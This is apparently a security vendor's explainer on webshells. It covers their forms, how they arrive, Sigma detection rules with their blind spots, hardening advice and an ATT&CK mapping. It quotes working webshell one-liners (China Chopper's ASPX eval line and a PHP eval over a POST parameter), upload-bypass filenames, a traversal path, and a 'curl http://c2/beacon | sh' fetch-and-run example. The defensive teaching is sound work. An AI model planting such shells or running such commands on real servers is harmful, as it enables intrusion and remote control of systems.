What Is a Webshell?
HuntRule Team · · 11 min read

On this page
China Chopper's server component is one line of ASPX.
<%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>That line, dropped anywhere under a web root that IIS will hand to the ASP.NET handler, gives an operator command execution over ordinary HTTP POST requests. There is no service to install, no scheduled task, no registry key. The web server was already listening on 443 and already had permission to run code. The webshell just borrows both.
That borrowing is the whole point, and it is why webshells outlive the response
actions that evict most other backdoors. A webshell does not authenticate. It
inherits whatever identity the worker process already holds: the app pool
identity on IIS, www-data on Debian-family Apache and nginx, the Tomcat
service account on a Java stack. Reset every domain password and the shell still
answers. Segment the network so the host cannot reach anything new and the shell
still answers, because it reaches you, over the port the firewall exists to keep
open.
The forms
Three shapes cover most of what you will see, and they fail different detections.
The one-liner. A single eval or assert over an attacker-controlled request
parameter. The PHP form is a dozen bytes of logic.
<?php @eval($_POST['x']); ?>These get appended to the bottom of a legitimate file more often than they get
dropped as new files. index.php grows by one line and its modification time
changes. Nothing else does.
The panel. c99, b374k, ASPXSpy, P.A.S. Webshell. Full HTML interfaces with a file browser, a SQL client, a reverse shell launcher and a port scanner, usually several hundred kilobytes of obfuscated source behind a password prompt. Loud on disk, and the reason entropy-based scanning got popular.
The memory-resident shell. No file on disk at all. On Java stacks the operator
attaches to the running JVM through the Instrumentation API and registers a
Filter, Servlet or Tomcat Valve that never appears in web.xml or
server.xml. Behinder and Godzilla both ship this capability. On IIS the
equivalent is an HTTP module registered in the worker process. ls -la on the
web root returns nothing interesting because there is nothing there.
How they arrive
Four vectors account for most of it, and none of them require malware to survive a reboot on their own.
Upload validation bypass. The application checks the extension against a deny list, so the file lands as
avatar.php.jpg,shell.phtml,x.php5orweb.configwith a handler mapping inside it.Path traversal in an upload or extract routine.
../../wwwroot/x.aspxmoves an otherwise harmless upload into a directory the handler will execute.Exploitation of the application itself (
T1190). This is the common one. Progress MOVEit Transfer's CVE-2023-34362 chain ended withhuman2.aspx, the ASPX shell CISA tracks as LEMURLOOT, written straight into thewwwrootdirectory.A compromised deployment pipeline (
T1195.002). The shell arrives inside a signed, reviewed, correctly deployed artifact. Every file-integrity control that trusts the pipeline agrees the file belongs there.
Why file-level detection is the easy half
File detection is the first thing everyone builds and the first thing an
operator defeats. The signals are real: a new file with an executable extension
under a web root, high Shannon entropy in a .php that should be templating
HTML, base64 blobs, gzinflate(base64_decode( chains, preg_replace with the
/e modifier.
SigmaHQ ships a file-creation rule for the static-content case.
title: Potential Webshell Creation On Static Website
id: 39f1f9f2-9636-45de-98f6-a4046aa8e4b9
status: test
description: Detects the creation of files with certain extensions on a static web site. This can be indicative of potential uploads of a web shell.
author: Beyu Denis, oscd.community, Tim Shelton, Thurein Oo
date: 2019-10-22
modified: 2023-10-15
tags:
- attack.persistence
- attack.t1505.003
logsource:
product: windows
category: file_event
detection:
selection_wwwroot_path:
TargetFilename|contains: '\inetpub\wwwroot\'
selection_wwwroot_ext:
TargetFilename|contains:
- '.ashx'
- '.asp'
- '.ph'
- '.soap'
selection_htdocs_path:
TargetFilename|contains:
- '\www\'
- '\htdocs\'
- '\html\'
selection_htdocs_ext:
TargetFilename|contains: '.ph'
filter_main_temp:
TargetFilename|contains:
- '\AppData\Local\Temp\'
- '\Windows\Temp\'
filter_main_system:
Image: 'System'
filter_main_legitimate:
TargetFilename|contains: '\xampp'
condition: (all of selection_wwwroot_* or all of selection_htdocs_*) and not 1 of filter_main_*
falsepositives:
- Legitimate administrator or developer creating legitimate executable files in a web application folder
level: mediumRead the condition and the evasions write themselves. Deploy to a site that is
not under \inetpub\wwwroot\ and the first branch never fires. Append your line
to an existing file and there is no file_event at all, because Sysmon Event
ID 11 fires on creation, not on modification of an existing path. Keep the rule.
It is cheap and it catches the careless. Do not build your program on it.
Process lineage is the durable signal
The one thing an interactive webshell operator eventually needs is a process.
Enumerating users, reading /etc/shadow, dumping a database, moving laterally:
all of it means the web server process spawns a child it has no business
spawning. On a normal estate w3wp.exe spawns almost nothing. That makes the
edge itself the detection, independent of what the shell looks like on disk.
SigmaHQ's rule for this is Suspicious Process By Web Server Process, abridged
here because the upstream child-process list is longer.
title: Suspicious Process By Web Server Process
id: 8202070f-edeb-4d31-a010-a26c72ac5600
status: test
description: |
Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation
references:
- https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
author: Thomas Patzke, Florian Roth (Nextron Systems), Zach Stanford @svch0st, Tim Shelton, Nasreddine Bencherchali (Nextron Systems)
date: 2019-01-16
modified: 2024-11-26
tags:
- attack.persistence
- attack.initial-access
- attack.t1505.003
- attack.t1190
logsource:
category: process_creation
product: windows
detection:
selection_webserver_image:
ParentImage|endswith:
- '\caddy.exe'
- '\httpd.exe'
- '\nginx.exe'
- '\php-cgi.exe'
- '\php.exe'
- '\tomcat.exe'
- '\UMWorkerProcess.exe'
- '\w3wp.exe'
- '\ws_TomcatService.exe'
selection_webserver_characteristics_tomcat1:
ParentImage|endswith:
- '\java.exe'
- '\javaw.exe'
ParentImage|contains:
- '-tomcat-'
- '\tomcat'
selection_webserver_characteristics_tomcat2:
ParentImage|endswith:
- '\java.exe'
- '\javaw.exe'
ParentCommandLine|contains:
- 'CATALINA_HOME'
- 'catalina.home'
- 'catalina.jar'
selection_anomaly_children:
Image|endswith:
- '\arp.exe'
- '\at.exe'
- '\bash.exe'
- '\bitsadmin.exe'
- '\certutil.exe'
- '\cmd.exe'
- '\cscript.exe'
- '\dsget.exe'
- '\hostname.exe'
- '\sh.exe'
- '\wmic.exe'
- '\wscript.exe'
- '\wusa.exe'
condition: 1 of selection_webserver_* and selection_anomaly_children and not 1 of filter_main_*
falsepositives:
- Particular web applications may spawn a shell process legitimately
level: highUMWorkerProcess.exe in that parent list is the Exchange Unified Messaging
worker, and it is there because of the March 2021 Exchange zero-day activity,
where it was the parent for post-exploitation children. That is the shape of
the whole rule: named parents, generic children, no dependence on the shell's
contents.
The false positives are real and they are not exotic.
Legacy CGI. Perl and shell CGI under
/cgi-bin/is exactly a web server spawning an interpreter. If you still run it, that path is a permanent exception.Build and deploy tooling on the same host. A Jenkins or TeamCity agent running under Tomcat spawns
cmd.exeall day, matchingselection_webserver_characteristics_tomcat2oncatalina.home.Application health checks and monitoring plugins that shell out to
hostnameorarp.Vendor appliances. The upstream rule already carries two
filter_main_fp_*clauses for ManageEngine ADManager Plus, which tells you how these exceptions accumulate.
Tune by parent plus command line, not by muting the parent. Muting w3wp.exe
because one application is noisy removes the detection for every site in the
farm. We have not measured alert volume for this rule on a production estate,
so treat those as categories to check, not as a rate.
The Linux equivalent is narrower and correspondingly quieter.
title: Linux Webshell Indicators
id: 818f7b24-0fba-4c49-a073-8b755573b9c7
status: test
description: Detects suspicious sub processes of web server processes
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2021-10-15
modified: 2022-12-28
tags:
- attack.persistence
- attack.t1505.003
logsource:
product: linux
category: process_creation
detection:
selection_general:
ParentImage|endswith:
- '/httpd'
- '/lighttpd'
- '/nginx'
- '/apache2'
- '/node'
- '/caddy'
selection_tomcat:
ParentCommandLine|contains|all:
- '/bin/java'
- 'tomcat'
selection_websphere:
ParentCommandLine|contains|all:
- '/bin/java'
- 'websphere'
sub_processes:
Image|endswith:
- '/whoami'
- '/ifconfig'
- '/ip'
- '/bin/uname'
- '/bin/cat'
- '/bin/crontab'
- '/hostname'
- '/iptables'
- '/netstat'
- '/pwd'
- '/route'
condition: 1 of selection_* and sub_processes
falsepositives:
- Web applications that invoke Linux command line tools
level: highNote the blind spot in the child list. It is recon binaries only. /bin/sh,
curl and wget are absent, so a shell that goes straight from eval to
curl http://c2/beacon | sh produces no match. On mod_php the parent is
/apache2 and the rule applies. On PHP-FPM the parent is php-fpm, which is in
neither selection_general nor selection_tomcat, so add it before you rely on
this rule for a modern LEMP stack.
The gap: memory-resident shells

Everything above assumes a file, a process, or both. A memory-resident Java
shell gives you neither. The Filter lives in the running JVM's object graph,
commands arrive at a URL the application legitimately serves, and every file on
disk still matches its known-good hash. If the operator only reads files or
queries the database through the JDBC connection the application already holds,
no child process is ever created.
Honest position: file scanning misses this completely, and process lineage misses it until the operator wants a shell. What is left is thinner.
Java agent attachment.
jcmd,jattachor any process invokingVirtualMachine.attachagainst a running application JVM is worth an alert in production, where nobody should be attaching agents.Configuration drift. Compare the
Filter,ServletandValvechain in the running JVM againstweb.xmlandserver.xml. On IIS, diffGet-WebGlobalModuleandGet-WebConfigurationoutput against a baseline.Network behaviour. Outbound connections from
w3wp.exeor the JVM to a destination the application has no reason to contact.Web logs. Repeated POSTs to one
cs-uri-stemwith a near-constantcs-bytesand a rotatingc-ip, or acs(User-Agent)that appears on that one URI and nowhere else in the site.
None of those are as reliable as the lineage rule. Say so out loud when you
write the detection coverage doc, rather than marking T1505.003 green because
two rules exist.
Hardening that actually helps
Detection buys you time. These reduce what the shell can do with it.
Make the web root read-only to the account the worker process runs as. Most applications never write to their own document root, and the ones that do write to a single upload directory. Move that directory outside the document root and serve its contents through a handler rather than by path. An upload that lands where the interpreter will not touch it is inert.
Block execution outside the application directory. In PHP, open_basedir pins
file access to declared paths and disable_functions removes system, exec,
shell_exec, passthru, popen and proc_open, which is most of what a panel
shell offers. On IIS, remove handler mappings for extensions the site does not
serve and use Request Filtering to deny uploads to executable paths. On Linux,
an SELinux or AppArmor policy that forbids the httpd_t domain from executing
shells stops the lineage edge at the kernel instead of at the SIEM.
One caution about noexec. Mounting /var/www with noexec stops a dropped
ELF binary from running. It does nothing to a .php file, which is read and
interpreted by an already-running process rather than executed. Deploy it, but
do not count it as webshell mitigation.
ATT&CK mapping
Technique | ID | Where it shows up |
|---|---|---|
Server Software Component: Web Shell | T1505.003 | The shell itself, file or in memory |
Exploit Public-Facing Application | T1190 | MOVEit, Exchange, any pre-auth RCE that drops the shell |
Command and Scripting Interpreter | T1059 |
|
Supply Chain Compromise: Compromise Software Supply Chain | T1195.002 | Shell shipped inside a legitimate deployment artifact |
Summary
A webshell is a backdoor whose privilege is the web server's privilege, which is why credential rotation and network segmentation do not remove it. File-level detection catches the careless and is defeated by appending one line to an existing file. The durable signal is process lineage, because an interactive operator eventually needs a child process the web server would never spawn on its own. Memory-resident shells break both approaches and leave you with configuration drift checks and web log analysis, which is a gap worth recording rather than papering over. The layering discipline behind all of this is covered in what is detection engineering.
Rules for the web-facing side of the estate are at /rules?domain=web, and the lineage rules discussed here are under /rules?q=webshell.
Collect these before you write the rules.
Windows
Sysmon Event ID 1 process creation with ParentImage and CommandLine
Sysmon Event ID 11 file create under web roots
Sysmon Event ID 3 network connection, filtered to w3wp.exe and java.exe
Security 4688 requires "Include command line in process creation events"
IIS W3C log fields date time c-ip cs-method cs-uri-stem cs-uri-query
sc-status sc-bytes cs-bytes cs(User-Agent)
Linux
auditd execve with ppid and comm, or Sysmon for Linux Event ID 1
Apache access_log combined format, plus error_log for handler failures
file integrity watch on document roots, on modify as well as createRelated articles

What Is Malware Analysis?
sha256sum sample.bin is minute zero. What you do in minute one splits into four methods, and each one has a wall you hit. Static triage reads the file without running it. Hashes, PE header, sections,…
2026-04-178 min read

What Is Living off the Land (LotL) in Attacks?
certutil.exe ships on every Windows install, is signed by Microsoft, sits in C:\Windows\System32, and will fetch a file from a URL onto disk. That last part is not a bug. It is what the certificate…
2026-01-169 min read

What Is Fileless Malware?
Almost nothing is entirely fileless. The DoublePulsar backdoor that EternalBlue installs ends up in kernel memory with no file written, and that is the rare pure case. Everything else people call…
2025-12-307 min read